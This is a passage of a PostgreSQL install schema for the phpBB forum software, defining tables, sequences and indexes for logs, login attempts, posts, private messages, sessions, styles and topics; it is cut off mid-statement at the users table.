NOT NULL, lang_author varchar(255) DEFAULT '' NOT NULL, PRIMARY KEY (lang_id) ); CREATE INDEX phpbb_lang_lang_iso ON phpbb_lang (lang_iso); /* Table: 'phpbb_log' */ CREATE SEQUENCE phpbb_log_seq; CREATE TABLE phpbb_log ( log_id INT4 DEFAULT nextval('phpbb_log_seq'), log_type INT2 DEFAULT '0' NOT NULL, user_id INT4 DEFAULT '0' NOT NULL CHECK (user_id >= 0), forum_id INT4 DEFAULT '0' NOT NULL CHECK (forum_id >= 0), topic_id INT4 DEFAULT '0' NOT NULL CHECK (topic_id >= 0), reportee_id INT4 DEFAULT '0' NOT NULL CHECK (reportee_id >= 0), log_ip varchar(40) DEFAULT '' NOT NULL, log_time INT4 DEFAULT '0' NOT NULL CHECK (log_time >= 0), log_operation varchar(4000) DEFAULT '' NOT NULL, log_data TEXT DEFAULT '' NOT NULL, PRIMARY KEY (log_id) ); CREATE INDEX phpbb_log_log_type ON phpbb_log (log_type); CREATE INDEX phpbb_log_forum_id ON phpbb_log (forum_id); CREATE INDEX phpbb_log_topic_id ON phpbb_log (topic_id); CREATE INDEX phpbb_log_reportee_id ON phpbb_log (reportee_id); CREATE INDEX phpbb_log_user_id ON phpbb_log (user_id); /* Table: 'phpbb_login_attempts' */ CREATE TABLE phpbb_login_attempts ( attempt_ip varchar(40) DEFAULT '' NOT NULL, attempt_browser varchar(150) DEFAULT '' NOT NULL, attempt_forwarded_for varchar(255) DEFAULT '' NOT NULL, attempt_time INT4 DEFAULT '0' NOT NULL CHECK (attempt_time >= 0), user_id INT4 DEFAULT '0' NOT NULL CHECK (user_id >= 0), username varchar(255) DEFAULT '0' NOT NULL, username_clean varchar_ci DEFAULT '0' NOT NULL ); CREATE INDEX phpbb_login_attempts_att_ip ON phpbb_login_attempts (attempt_ip, attempt_time); CREATE INDEX phpbb_login_attempts_att_for ON phpbb_login_attempts (attempt_forwarded_for, attempt_time); CREATE INDEX phpbb_login_attempts_att_time ON phpbb_login_attempts (attempt_time); CREATE INDEX phpbb_login_attempts_user_id ON phpbb_login_attempts (user_id); /* Table: 'phpbb_moderator_cache' */ CREATE TABLE phpbb_moderator_cache ( forum_id INT4 DEFAULT '0' NOT NULL CHECK (forum_id >= 0), user_id INT4 DEFAULT '0' NOT NULL CHECK (user_id >= 0), username varchar(255) DEFAULT '' NOT NULL, group_id INT4 DEFAULT '0' NOT NULL CHECK (group_id >= 0), group_name varchar(255) DEFAULT '' NOT NULL, display_on_index INT2 DEFAULT '1' NOT NULL CHECK (display_on_index >= 0) ); CREATE INDEX phpbb_moderator_cache_disp_idx ON phpbb_moderator_cache (display_on_index); CREATE INDEX phpbb_moderator_cache_forum_id ON phpbb_moderator_cache (forum_id); /* Table: 'phpbb_modules' */ CREATE SEQUENCE phpbb_modules_seq; CREATE TABLE phpbb_modules ( module_id INT4 DEFAULT nextval('phpbb_modules_seq'), module_enabled INT2 DEFAULT '1' NOT NULL CHECK (module_enabled >= 0), module_display INT2 DEFAULT '1' NOT NULL CHECK (module_display >= 0), module_basename varchar(255) DEFAULT '' NOT NULL, module_class varchar(10) DEFAULT '' NOT NULL, parent_id INT4 DEFAULT '0' NOT NULL CHECK (parent_id >= 0), left_id INT4 DEFAULT '0' NOT NULL CHECK (left_id >= 0), right_id INT4 DEFAULT '0' NOT NULL CHECK (right_id >= 0), module_langname varchar(255) DEFAULT '' NOT NULL, module_mode varchar(255) DEFAULT '' NOT NULL, module_auth varchar(255) DEFAULT '' NOT NULL, PRIMARY KEY (module_id) ); CREATE INDEX phpbb_modules_left_right_id ON phpbb_modules (left_id, right_id); CREATE INDEX phpbb_modules_module_enabled ON phpbb_modules (module_enabled); CREATE INDEX phpbb_modules_class_left_id ON phpbb_modules (module_class, left_id); /* Table: 'phpbb_poll_options' */ CREATE TABLE phpbb_poll_options ( poll_option_id INT2 DEFAULT '0' NOT NULL, topic_id INT4 DEFAULT '0' NOT NULL CHECK (topic_id >= 0), poll_option_text varchar(4000) DEFAULT '' NOT NULL, poll_option_total INT4 DEFAULT '0' NOT NULL CHECK (poll_option_total >= 0) ); CREATE INDEX phpbb_poll_options_poll_opt_id ON phpbb_poll_options (poll_option_id); CREATE INDEX phpbb_poll_options_topic_id ON phpbb_poll_options (topic_id); /* Table: 'phpbb_poll_votes' */ CREATE TABLE phpbb_poll_votes ( topic_id INT4 DEFAULT '0' NOT NULL CHECK (topic_id >= 0), poll_option_id INT2 DEFAULT '0' NOT NULL, vote_user_id INT4 DEFAULT '0' NOT NULL CHECK (vote_user_id >= 0), vote_user_ip varchar(40) DEFAULT '' NOT NULL ); CREATE INDEX phpbb_poll_votes_topic_id ON phpbb_poll_votes (topic_id); CREATE INDEX phpbb_poll_votes_vote_user_id ON phpbb_poll_votes (vote_user_id); CREATE INDEX phpbb_poll_votes_vote_user_ip ON phpbb_poll_votes (vote_user_ip); /* Table: 'phpbb_posts' */ CREATE SEQUENCE phpbb_posts_seq; CREATE TABLE phpbb_posts ( post_id INT4 DEFAULT nextval('phpbb_posts_seq'), topic_id INT4 DEFAULT '0' NOT NULL CHECK (topic_id >= 0), forum_id INT4 DEFAULT '0' NOT NULL CHECK (forum_id >= 0), poster_id INT4 DEFAULT '0' NOT NULL CHECK (poster_id >= 0), icon_id INT4 DEFAULT '0' NOT NULL CHECK (icon_id >= 0), poster_ip varchar(40) DEFAULT '' NOT NULL, post_time INT4 DEFAULT '0' NOT NULL CHECK (post_time >= 0), post_approved INT2 DEFAULT '1' NOT NULL CHECK (post_approved >= 0), post_reported INT2 DEFAULT '0' NOT NULL CHECK (post_reported >= 0), enable_bbcode INT2 DEFAULT '1' NOT NULL CHECK (enable_bbcode >= 0), enable_smilies INT2 DEFAULT '1' NOT NULL CHECK (enable_smilies >= 0), enable_magic_url INT2 DEFAULT '1' NOT NULL CHECK (enable_magic_url >= 0), enable_sig INT2 DEFAULT '1' NOT NULL CHECK (enable_sig >= 0), post_username varchar(255) DEFAULT '' NOT NULL, post_subject varchar(255) DEFAULT '' NOT NULL, post_text TEXT DEFAULT '' NOT NULL, post_checksum varchar(32) DEFAULT '' NOT NULL, post_attachment INT2 DEFAULT '0' NOT NULL CHECK (post_attachment >= 0), bbcode_bitfield varchar(255) DEFAULT '' NOT NULL, bbcode_uid varchar(8) DEFAULT '' NOT NULL, post_postcount INT2 DEFAULT '1' NOT NULL CHECK (post_postcount >= 0), post_edit_time INT4 DEFAULT '0' NOT NULL CHECK (post_edit_time >= 0), post_edit_reason varchar(255) DEFAULT '' NOT NULL, post_edit_user INT4 DEFAULT '0' NOT NULL CHECK (post_edit_user >= 0), post_edit_count INT2 DEFAULT '0' NOT NULL CHECK (post_edit_count >= 0), post_edit_locked INT2 DEFAULT '0' NOT NULL CHECK (post_edit_locked >= 0), PRIMARY KEY (post_id) ); CREATE INDEX phpbb_posts_forum_id ON phpbb_posts (forum_id); CREATE INDEX phpbb_posts_topic_id ON phpbb_posts (topic_id); CREATE INDEX phpbb_posts_poster_ip ON phpbb_posts (poster_ip); CREATE INDEX phpbb_posts_poster_id ON phpbb_posts (poster_id); CREATE INDEX phpbb_posts_post_approved ON phpbb_posts (post_approved); CREATE INDEX phpbb_posts_post_username ON phpbb_posts (post_username); CREATE INDEX phpbb_posts_tid_post_time ON phpbb_posts (topic_id, post_time); /* Table: 'phpbb_privmsgs' */ CREATE SEQUENCE phpbb_privmsgs_seq; CREATE TABLE phpbb_privmsgs ( msg_id INT4 DEFAULT nextval('phpbb_privmsgs_seq'), root_level INT4 DEFAULT '0' NOT NULL CHECK (root_level >= 0), author_id INT4 DEFAULT '0' NOT NULL CHECK (author_id >= 0), icon_id INT4 DEFAULT '0' NOT NULL CHECK (icon_id >= 0), author_ip varchar(40) DEFAULT '' NOT NULL, message_time INT4 DEFAULT '0' NOT NULL CHECK (message_time >= 0), enable_bbcode INT2 DEFAULT '1' NOT NULL CHECK (enable_bbcode >= 0), enable_smilies INT2 DEFAULT '1' NOT NULL CHECK (enable_smilies >= 0), enable_magic_url INT2 DEFAULT '1' NOT NULL CHECK (enable_magic_url >= 0), enable_sig INT2 DEFAULT '1' NOT NULL CHECK (enable_sig >= 0), message_subject varchar(255) DEFAULT '' NOT NULL, message_text TEXT DEFAULT '' NOT NULL, message_edit_reason varchar(255) DEFAULT '' NOT NULL, message_edit_user INT4 DEFAULT '0' NOT NULL CHECK (message_edit_user >= 0), message_attachment INT2 DEFAULT '0' NOT NULL CHECK (message_attachment >= 0), bbcode_bitfield varchar(255) DEFAULT '' NOT NULL, bbcode_uid varchar(8) DEFAULT '' NOT NULL, message_edit_time INT4 DEFAULT '0' NOT NULL CHECK (message_edit_time >= 0), message_edit_count INT2 DEFAULT '0' NOT NULL CHECK (message_edit_count >= 0), to_address varchar(4000) DEFAULT '' NOT NULL, bcc_address varchar(4000) DEFAULT '' NOT NULL, message_reported INT2 DEFAULT '0' NOT NULL CHECK (message_reported >= 0), PRIMARY KEY (msg_id) ); CREATE INDEX phpbb_privmsgs_author_ip ON phpbb_privmsgs (author_ip); CREATE INDEX phpbb_privmsgs_message_time ON phpbb_privmsgs (message_time); CREATE INDEX phpbb_privmsgs_author_id ON phpbb_privmsgs (author_id); CREATE INDEX phpbb_privmsgs_root_level ON phpbb_privmsgs (root_level); /* Table: 'phpbb_privmsgs_folder' */ CREATE SEQUENCE phpbb_privmsgs_folder_seq; CREATE TABLE phpbb_privmsgs_folder ( folder_id INT4 DEFAULT nextval('phpbb_privmsgs_folder_seq'), user_id INT4 DEFAULT '0' NOT NULL CHECK (user_id >= 0), folder_name varchar(255) DEFAULT '' NOT NULL, pm_count INT4 DEFAULT '0' NOT NULL CHECK (pm_count >= 0), PRIMARY KEY (folder_id) ); CREATE INDEX phpbb_privmsgs_folder_user_id ON phpbb_privmsgs_folder (user_id); /* Table: 'phpbb_privmsgs_rules' */ CREATE SEQUENCE phpbb_privmsgs_rules_seq; CREATE TABLE phpbb_privmsgs_rules ( rule_id INT4 DEFAULT nextval('phpbb_privmsgs_rules_seq'), user_id INT4 DEFAULT '0' NOT NULL CHECK (user_id >= 0), rule_check INT4 DEFAULT '0' NOT NULL CHECK (rule_check >= 0), rule_connection INT4 DEFAULT '0' NOT NULL CHECK (rule_connection >= 0), rule_string varchar(255) DEFAULT '' NOT NULL, rule_user_id INT4 DEFAULT '0' NOT NULL CHECK (rule_user_id >= 0), rule_group_id INT4 DEFAULT '0' NOT NULL CHECK (rule_group_id >= 0), rule_action INT4 DEFAULT '0' NOT NULL CHECK (rule_action >= 0), rule_folder_id INT4 DEFAULT '0' NOT NULL, PRIMARY KEY (rule_id) ); CREATE INDEX phpbb_privmsgs_rules_user_id ON phpbb_privmsgs_rules (user_id); /* Table: 'phpbb_privmsgs_to' */ CREATE TABLE phpbb_privmsgs_to ( msg_id INT4 DEFAULT '0' NOT NULL CHECK (msg_id >= 0), user_id INT4 DEFAULT '0' NOT NULL CHECK (user_id >= 0), author_id INT4 DEFAULT '0' NOT NULL CHECK (author_id >= 0), pm_deleted INT2 DEFAULT '0' NOT NULL CHECK (pm_deleted >= 0), pm_new INT2 DEFAULT '1' NOT NULL CHECK (pm_new >= 0), pm_unread INT2 DEFAULT '1' NOT NULL CHECK (pm_unread >= 0), pm_replied INT2 DEFAULT '0' NOT NULL CHECK (pm_replied >= 0), pm_marked INT2 DEFAULT '0' NOT NULL CHECK (pm_marked >= 0), pm_forwarded INT2 DEFAULT '0' NOT NULL CHECK (pm_forwarded >= 0), folder_id INT4 DEFAULT '0' NOT NULL ); CREATE INDEX phpbb_privmsgs_to_msg_id ON phpbb_privmsgs_to (msg_id); CREATE INDEX phpbb_privmsgs_to_author_id ON phpbb_privmsgs_to (author_id); CREATE INDEX phpbb_privmsgs_to_usr_flder_id ON phpbb_privmsgs_to (user_id, folder_id); /* Table: 'phpbb_profile_fields' */ CREATE SEQUENCE phpbb_profile_fields_seq; CREATE TABLE phpbb_profile_fields ( field_id INT4 DEFAULT nextval('phpbb_profile_fields_seq'), field_name varchar(255) DEFAULT '' NOT NULL, field_type INT2 DEFAULT '0' NOT NULL, field_ident varchar(20) DEFAULT '' NOT NULL, field_length varchar(20) DEFAULT '' NOT NULL, field_minlen varchar(255) DEFAULT '' NOT NULL, field_maxlen varchar(255) DEFAULT '' NOT NULL, field_novalue varchar(255) DEFAULT '' NOT NULL, field_default_value varchar(255) DEFAULT '' NOT NULL, field_validation varchar(20) DEFAULT '' NOT NULL, field_required INT2 DEFAULT '0' NOT NULL CHECK (field_required >= 0), field_show_novalue INT2 DEFAULT '0' NOT NULL CHECK (field_show_novalue >= 0), field_show_on_reg INT2 DEFAULT '0' NOT NULL CHECK (field_show_on_reg >= 0), field_show_on_vt INT2 DEFAULT '0' NOT NULL CHECK (field_show_on_vt >= 0), field_show_profile INT2 DEFAULT '0' NOT NULL CHECK (field_show_profile >= 0), field_hide INT2 DEFAULT '0' NOT NULL CHECK (field_hide >= 0), field_no_view INT2 DEFAULT '0' NOT NULL CHECK (field_no_view >= 0), field_active INT2 DEFAULT '0' NOT NULL CHECK (field_active >= 0), field_order INT4 DEFAULT '0' NOT NULL CHECK (field_order >= 0), PRIMARY KEY (field_id) ); CREATE INDEX phpbb_profile_fields_fld_type ON phpbb_profile_fields (field_type); CREATE INDEX phpbb_profile_fields_fld_ordr ON phpbb_profile_fields (field_order); /* Table: 'phpbb_profile_fields_data' */ CREATE TABLE phpbb_profile_fields_data ( user_id INT4 DEFAULT '0' NOT NULL CHECK (user_id >= 0), PRIMARY KEY (user_id) ); /* Table: 'phpbb_profile_fields_lang' */ CREATE TABLE phpbb_profile_fields_lang ( field_id INT4 DEFAULT '0' NOT NULL CHECK (field_id >= 0), lang_id INT4 DEFAULT '0' NOT NULL CHECK (lang_id >= 0), option_id INT4 DEFAULT '0' NOT NULL CHECK (option_id >= 0), field_type INT2 DEFAULT '0' NOT NULL, lang_value varchar(255) DEFAULT '' NOT NULL, PRIMARY KEY (field_id, lang_id, option_id) ); /* Table: 'phpbb_profile_lang' */ CREATE TABLE phpbb_profile_lang ( field_id INT4 DEFAULT '0' NOT NULL CHECK (field_id >= 0), lang_id INT4 DEFAULT '0' NOT NULL CHECK (lang_id >= 0), lang_name varchar(255) DEFAULT '' NOT NULL, lang_explain varchar(4000) DEFAULT '' NOT NULL, lang_default_value varchar(255) DEFAULT '' NOT NULL, PRIMARY KEY (field_id, lang_id) ); /* Table: 'phpbb_ranks' */ CREATE SEQUENCE phpbb_ranks_seq; CREATE TABLE phpbb_ranks ( rank_id INT4 DEFAULT nextval('phpbb_ranks_seq'), rank_title varchar(255) DEFAULT '' NOT NULL, rank_min INT4 DEFAULT '0' NOT NULL CHECK (rank_min >= 0), rank_special INT2 DEFAULT '0' NOT NULL CHECK (rank_special >= 0), rank_image varchar(255) DEFAULT '' NOT NULL, PRIMARY KEY (rank_id) ); /* Table: 'phpbb_reports' */ CREATE SEQUENCE phpbb_reports_seq; CREATE TABLE phpbb_reports ( report_id INT4 DEFAULT nextval('phpbb_reports_seq'), reason_id INT2 DEFAULT '0' NOT NULL CHECK (reason_id >= 0), post_id INT4 DEFAULT '0' NOT NULL CHECK (post_id >= 0), pm_id INT4 DEFAULT '0' NOT NULL CHECK (pm_id >= 0), user_id INT4 DEFAULT '0' NOT NULL CHECK (user_id >= 0), user_notify INT2 DEFAULT '0' NOT NULL CHECK (user_notify >= 0), report_closed INT2 DEFAULT '0' NOT NULL CHECK (report_closed >= 0), report_time INT4 DEFAULT '0' NOT NULL CHECK (report_time >= 0), report_text TEXT DEFAULT '' NOT NULL, PRIMARY KEY (report_id) ); CREATE INDEX phpbb_reports_post_id ON phpbb_reports (post_id); CREATE INDEX phpbb_reports_pm_id ON phpbb_reports (pm_id); /* Table: 'phpbb_reports_reasons' */ CREATE SEQUENCE phpbb_reports_reasons_seq; CREATE TABLE phpbb_reports_reasons ( reason_id INT2 DEFAULT nextval('phpbb_reports_reasons_seq'), reason_title varchar(255) DEFAULT '' NOT NULL, reason_description TEXT DEFAULT '' NOT NULL, reason_order INT2 DEFAULT '0' NOT NULL CHECK (reason_order >= 0), PRIMARY KEY (reason_id) ); /* Table: 'phpbb_search_results' */ CREATE TABLE phpbb_search_results ( search_key varchar(32) DEFAULT '' NOT NULL, search_time INT4 DEFAULT '0' NOT NULL CHECK (search_time >= 0), search_keywords TEXT DEFAULT '' NOT NULL, search_authors TEXT DEFAULT '' NOT NULL, PRIMARY KEY (search_key) ); /* Table: 'phpbb_search_wordlist' */ CREATE SEQUENCE phpbb_search_wordlist_seq; CREATE TABLE phpbb_search_wordlist ( word_id INT4 DEFAULT nextval('phpbb_search_wordlist_seq'), word_text varchar(255) DEFAULT '' NOT NULL, word_common INT2 DEFAULT '0' NOT NULL CHECK (word_common >= 0), word_count INT4 DEFAULT '0' NOT NULL CHECK (word_count >= 0), PRIMARY KEY (word_id) ); CREATE UNIQUE INDEX phpbb_search_wordlist_wrd_txt ON phpbb_search_wordlist (word_text); CREATE INDEX phpbb_search_wordlist_wrd_cnt ON phpbb_search_wordlist (word_count); /* Table: 'phpbb_search_wordmatch' */ CREATE TABLE phpbb_search_wordmatch ( post_id INT4 DEFAULT '0' NOT NULL CHECK (post_id >= 0), word_id INT4 DEFAULT '0' NOT NULL CHECK (word_id >= 0), title_match INT2 DEFAULT '0' NOT NULL CHECK (title_match >= 0) ); CREATE UNIQUE INDEX phpbb_search_wordmatch_unq_mtch ON phpbb_search_wordmatch (word_id, post_id, title_match); CREATE INDEX phpbb_search_wordmatch_word_id ON phpbb_search_wordmatch (word_id); CREATE INDEX phpbb_search_wordmatch_post_id ON phpbb_search_wordmatch (post_id); /* Table: 'phpbb_sessions' */ CREATE TABLE phpbb_sessions ( session_id char(32) DEFAULT '' NOT NULL, session_user_id INT4 DEFAULT '0' NOT NULL CHECK (session_user_id >= 0), session_forum_id INT4 DEFAULT '0' NOT NULL CHECK (session_forum_id >= 0), session_last_visit INT4 DEFAULT '0' NOT NULL CHECK (session_last_visit >= 0), session_start INT4 DEFAULT '0' NOT NULL CHECK (session_start >= 0), session_time INT4 DEFAULT '0' NOT NULL CHECK (session_time >= 0), session_ip varchar(40) DEFAULT '' NOT NULL, session_browser varchar(150) DEFAULT '' NOT NULL, session_forwarded_for varchar(255) DEFAULT '' NOT NULL, session_page varchar(255) DEFAULT '' NOT NULL, session_viewonline INT2 DEFAULT '1' NOT NULL CHECK (session_viewonline >= 0), session_autologin INT2 DEFAULT '0' NOT NULL CHECK (session_autologin >= 0), session_admin INT2 DEFAULT '0' NOT NULL CHECK (session_admin >= 0), PRIMARY KEY (session_id) ); CREATE INDEX phpbb_sessions_session_time ON phpbb_sessions (session_time); CREATE INDEX phpbb_sessions_session_user_id ON phpbb_sessions (session_user_id); CREATE INDEX phpbb_sessions_session_fid ON phpbb_sessions (session_forum_id); /* Table: 'phpbb_sessions_keys' */ CREATE TABLE phpbb_sessions_keys ( key_id char(32) DEFAULT '' NOT NULL, user_id INT4 DEFAULT '0' NOT NULL CHECK (user_id >= 0), last_ip varchar(40) DEFAULT '' NOT NULL, last_login INT4 DEFAULT '0' NOT NULL CHECK (last_login >= 0), PRIMARY KEY (key_id, user_id) ); CREATE INDEX phpbb_sessions_keys_last_login ON phpbb_sessions_keys (last_login); /* Table: 'phpbb_sitelist' */ CREATE SEQUENCE phpbb_sitelist_seq; CREATE TABLE phpbb_sitelist ( site_id INT4 DEFAULT nextval('phpbb_sitelist_seq'), site_ip varchar(40) DEFAULT '' NOT NULL, site_hostname varchar(255) DEFAULT '' NOT NULL, ip_exclude INT2 DEFAULT '0' NOT NULL CHECK (ip_exclude >= 0), PRIMARY KEY (site_id) ); /* Table: 'phpbb_smilies' */ CREATE SEQUENCE phpbb_smilies_seq; CREATE TABLE phpbb_smilies ( smiley_id INT4 DEFAULT nextval('phpbb_smilies_seq'), code varchar(50) DEFAULT '' NOT NULL, emotion varchar(50) DEFAULT '' NOT NULL, smiley_url varchar(50) DEFAULT '' NOT NULL, smiley_width INT2 DEFAULT '0' NOT NULL CHECK (smiley_width >= 0), smiley_height INT2 DEFAULT '0' NOT NULL CHECK (smiley_height >= 0), smiley_order INT4 DEFAULT '0' NOT NULL CHECK (smiley_order >= 0), display_on_posting INT2 DEFAULT '1' NOT NULL CHECK (display_on_posting >= 0), PRIMARY KEY (smiley_id) ); CREATE INDEX phpbb_smilies_display_on_post ON phpbb_smilies (display_on_posting); /* Table: 'phpbb_styles' */ CREATE SEQUENCE phpbb_styles_seq; CREATE TABLE phpbb_styles ( style_id INT4 DEFAULT nextval('phpbb_styles_seq'), style_name varchar(255) DEFAULT '' NOT NULL, style_copyright varchar(255) DEFAULT '' NOT NULL, style_active INT2 DEFAULT '1' NOT NULL CHECK (style_active >= 0), template_id INT4 DEFAULT '0' NOT NULL CHECK (template_id >= 0), theme_id INT4 DEFAULT '0' NOT NULL CHECK (theme_id >= 0), imageset_id INT4 DEFAULT '0' NOT NULL CHECK (imageset_id >= 0), PRIMARY KEY (style_id) ); CREATE UNIQUE INDEX phpbb_styles_style_name ON phpbb_styles (style_name); CREATE INDEX phpbb_styles_template_id ON phpbb_styles (template_id); CREATE INDEX phpbb_styles_theme_id ON phpbb_styles (theme_id); CREATE INDEX phpbb_styles_imageset_id ON phpbb_styles (imageset_id); /* Table: 'phpbb_styles_template' */ CREATE SEQUENCE phpbb_styles_template_seq; CREATE TABLE phpbb_styles_template ( template_id INT4 DEFAULT nextval('phpbb_styles_template_seq'), template_name varchar(255) DEFAULT '' NOT NULL, template_copyright varchar(255) DEFAULT '' NOT NULL, template_path varchar(100) DEFAULT '' NOT NULL, bbcode_bitfield varchar(255) DEFAULT 'kNg=' NOT NULL, template_storedb INT2 DEFAULT '0' NOT NULL CHECK (template_storedb >= 0), template_inherits_id INT4 DEFAULT '0' NOT NULL CHECK (template_inherits_id >= 0), template_inherit_path varchar(255) DEFAULT '' NOT NULL, PRIMARY KEY (template_id) ); CREATE UNIQUE INDEX phpbb_styles_template_tmplte_nm ON phpbb_styles_template (template_name); /* Table: 'phpbb_styles_template_data' */ CREATE TABLE phpbb_styles_template_data ( template_id INT4 DEFAULT '0' NOT NULL CHECK (template_id >= 0), template_filename varchar(100) DEFAULT '' NOT NULL, template_included varchar(8000) DEFAULT '' NOT NULL, template_mtime INT4 DEFAULT '0' NOT NULL CHECK (template_mtime >= 0), template_data TEXT DEFAULT '' NOT NULL ); CREATE INDEX phpbb_styles_template_data_tid ON phpbb_styles_template_data (template_id); CREATE INDEX phpbb_styles_template_data_tfn ON phpbb_styles_template_data (template_filename); /* Table: 'phpbb_styles_theme' */ CREATE SEQUENCE phpbb_styles_theme_seq; CREATE TABLE phpbb_styles_theme ( theme_id INT4 DEFAULT nextval('phpbb_styles_theme_seq'), theme_name varchar(255) DEFAULT '' NOT NULL, theme_copyright varchar(255) DEFAULT '' NOT NULL, theme_path varchar(100) DEFAULT '' NOT NULL, theme_storedb INT2 DEFAULT '0' NOT NULL CHECK (theme_storedb >= 0), theme_mtime INT4 DEFAULT '0' NOT NULL CHECK (theme_mtime >= 0), theme_data TEXT DEFAULT '' NOT NULL, PRIMARY KEY (theme_id) ); CREATE UNIQUE INDEX phpbb_styles_theme_theme_name ON phpbb_styles_theme (theme_name); /* Table: 'phpbb_styles_imageset' */ CREATE SEQUENCE phpbb_styles_imageset_seq; CREATE TABLE phpbb_styles_imageset ( imageset_id INT4 DEFAULT nextval('phpbb_styles_imageset_seq'), imageset_name varchar(255) DEFAULT '' NOT NULL, imageset_copyright varchar(255) DEFAULT '' NOT NULL, imageset_path varchar(100) DEFAULT '' NOT NULL, PRIMARY KEY (imageset_id) ); CREATE UNIQUE INDEX phpbb_styles_imageset_imgset_nm ON phpbb_styles_imageset (imageset_name); /* Table: 'phpbb_styles_imageset_data' */ CREATE SEQUENCE phpbb_styles_imageset_data_seq; CREATE TABLE phpbb_styles_imageset_data ( image_id INT4 DEFAULT nextval('phpbb_styles_imageset_data_seq'), image_name varchar(200) DEFAULT '' NOT NULL, image_filename varchar(200) DEFAULT '' NOT NULL, image_lang varchar(30) DEFAULT '' NOT NULL, image_height INT2 DEFAULT '0' NOT NULL CHECK (image_height >= 0), image_width INT2 DEFAULT '0' NOT NULL CHECK (image_width >= 0), imageset_id INT4 DEFAULT '0' NOT NULL CHECK (imageset_id >= 0), PRIMARY KEY (image_id) ); CREATE INDEX phpbb_styles_imageset_data_i_d ON phpbb_styles_imageset_data (imageset_id); /* Table: 'phpbb_topics' */ CREATE SEQUENCE phpbb_topics_seq; CREATE TABLE phpbb_topics ( topic_id INT4 DEFAULT nextval('phpbb_topics_seq'), forum_id INT4 DEFAULT '0' NOT NULL CHECK (forum_id >= 0), icon_id INT4 DEFAULT '0' NOT NULL CHECK (icon_id >= 0), topic_attachment INT2 DEFAULT '0' NOT NULL CHECK (topic_attachment >= 0), topic_approved INT2 DEFAULT '1' NOT NULL CHECK (topic_approved >= 0), topic_reported INT2 DEFAULT '0' NOT NULL CHECK (topic_reported >= 0), topic_title varchar(255) DEFAULT '' NOT NULL, topic_poster INT4 DEFAULT '0' NOT NULL CHECK (topic_poster >= 0), topic_time INT4 DEFAULT '0' NOT NULL CHECK (topic_time >= 0), topic_time_limit INT4 DEFAULT '0' NOT NULL CHECK (topic_time_limit >= 0), topic_views INT4 DEFAULT '0' NOT NULL CHECK (topic_views >= 0), topic_replies INT4 DEFAULT '0' NOT NULL CHECK (topic_replies >= 0), topic_replies_real INT4 DEFAULT '0' NOT NULL CHECK (topic_replies_real >= 0), topic_status INT2 DEFAULT '0' NOT NULL, topic_type INT2 DEFAULT '0' NOT NULL, topic_first_post_id INT4 DEFAULT '0' NOT NULL CHECK (topic_first_post_id >= 0), topic_first_poster_name varchar(255) DEFAULT '' NOT NULL, topic_first_poster_colour varchar(6) DEFAULT '' NOT NULL, topic_last_post_id INT4 DEFAULT '0' NOT NULL CHECK (topic_last_post_id >= 0), topic_last_poster_id INT4 DEFAULT '0' NOT NULL CHECK (topic_last_poster_id >= 0), topic_last_poster_name varchar(255) DEFAULT '' NOT NULL, topic_last_poster_colour varchar(6) DEFAULT '' NOT NULL, topic_last_post_subject varchar(255) DEFAULT '' NOT NULL, topic_last_post_time INT4 DEFAULT '0' NOT NULL CHECK (topic_last_post_time >= 0), topic_last_view_time INT4 DEFAULT '0' NOT NULL CHECK (topic_last_view_time >= 0), topic_moved_id INT4 DEFAULT '0' NOT NULL CHECK (topic_moved_id >= 0), topic_bumped INT2 DEFAULT '0' NOT NULL CHECK (topic_bumped >= 0), topic_bumper INT4 DEFAULT '0' NOT NULL CHECK (topic_bumper >= 0), poll_title varchar(255) DEFAULT '' NOT NULL, poll_start INT4 DEFAULT '0' NOT NULL CHECK (poll_start >= 0), poll_length INT4 DEFAULT '0' NOT NULL CHECK (poll_length >= 0), poll_max_options INT2 DEFAULT '1' NOT NULL, poll_last_vote INT4 DEFAULT '0' NOT NULL CHECK (poll_last_vote >= 0), poll_vote_change INT2 DEFAULT '0' NOT NULL CHECK (poll_vote_change >= 0), PRIMARY KEY (topic_id) ); CREATE INDEX phpbb_topics_forum_id ON phpbb_topics (forum_id); CREATE INDEX phpbb_topics_forum_id_type ON phpbb_topics (forum_id, topic_type); CREATE INDEX phpbb_topics_last_post_time ON phpbb_topics (topic_last_post_time); CREATE INDEX phpbb_topics_topic_approved ON phpbb_topics (topic_approved); CREATE INDEX phpbb_topics_forum_appr_last ON phpbb_topics (forum_id, topic_approved, topic_last_post_id); CREATE INDEX phpbb_topics_fid_time_moved ON phpbb_topics (forum_id, topic_last_post_time, topic_moved_id); /* Table: 'phpbb_topics_track' */ CREATE TABLE phpbb_topics_track ( user_id INT4 DEFAULT '0' NOT NULL CHECK (user_id >= 0), topic_id INT4 DEFAULT '0' NOT NULL CHECK (topic_id >= 0), forum_id INT4 DEFAULT '0' NOT NULL CHECK (forum_id >= 0), mark_time INT4 DEFAULT '0' NOT NULL CHECK (mark_time >= 0), PRIMARY KEY (user_id, topic_id) ); CREATE INDEX phpbb_topics_track_topic_id ON phpbb_topics_track (topic_id); CREATE INDEX phpbb_topics_track_forum_id ON phpbb_topics_track (forum_id); /* Table: 'phpbb_topics_posted' */ CREATE TABLE phpbb_topics_posted ( user_id INT4 DEFAULT '0' NOT NULL CHECK (user_id >= 0), topic_id INT4 DEFAULT '0' NOT NULL CHECK (topic_id >= 0), topic_posted INT2 DEFAULT '0' NOT NULL CHECK (topic_posted >= 0), PRIMARY KEY (user_id, topic_id) ); /* Table: 'phpbb_topics_watch' */ CREATE TABLE phpbb_topics_watch ( topic_id INT4 DEFAULT '0' NOT NULL CHECK (topic_id >= 0), user_id INT4 DEFAULT '0' NOT NULL CHECK (user_id >= 0), notify_status INT2 DEFAULT '0' NOT NULL CHECK (notify_status >= 0) ); CREATE INDEX phpbb_topics_watch_topic_id ON phpbb_topics_watch (topic_id); CREATE INDEX phpbb_topics_watch_user_id ON phpbb_topics_watch (user_id); CREATE INDEX phpbb_topics_watch_notify_stat ON phpbb_topics_watch (notify_status); /* Table: 'phpbb_user_group' */ CREATE TABLE phpbb_user_group ( group_id INT4 DEFAULT '0' NOT NULL CHECK (group_id >= 0), user_id INT4 DEFAULT '0' NOT NULL CHECK (user_id >= 0), group_leader INT2 DEFAULT '0' NOT NULL CHECK (group_leader >= 0), user_pending INT2 DEFAULT '1' NOT NULL CHECK (user_pending >= 0) ); CREATE INDEX phpbb_user_group_group_id ON phpbb_user_group (group_id); CREATE INDEX phpbb_user_group_user_id ON phpbb_user_group (user_id); CREATE INDEX phpbb_user_group_group_leader ON phpbb_user_group (group_leader); /* Table: 'phpbb_users' */ CREATE SEQUENCE phpbb_users_seq; CREATE TABLE phpbb_users ( user_id 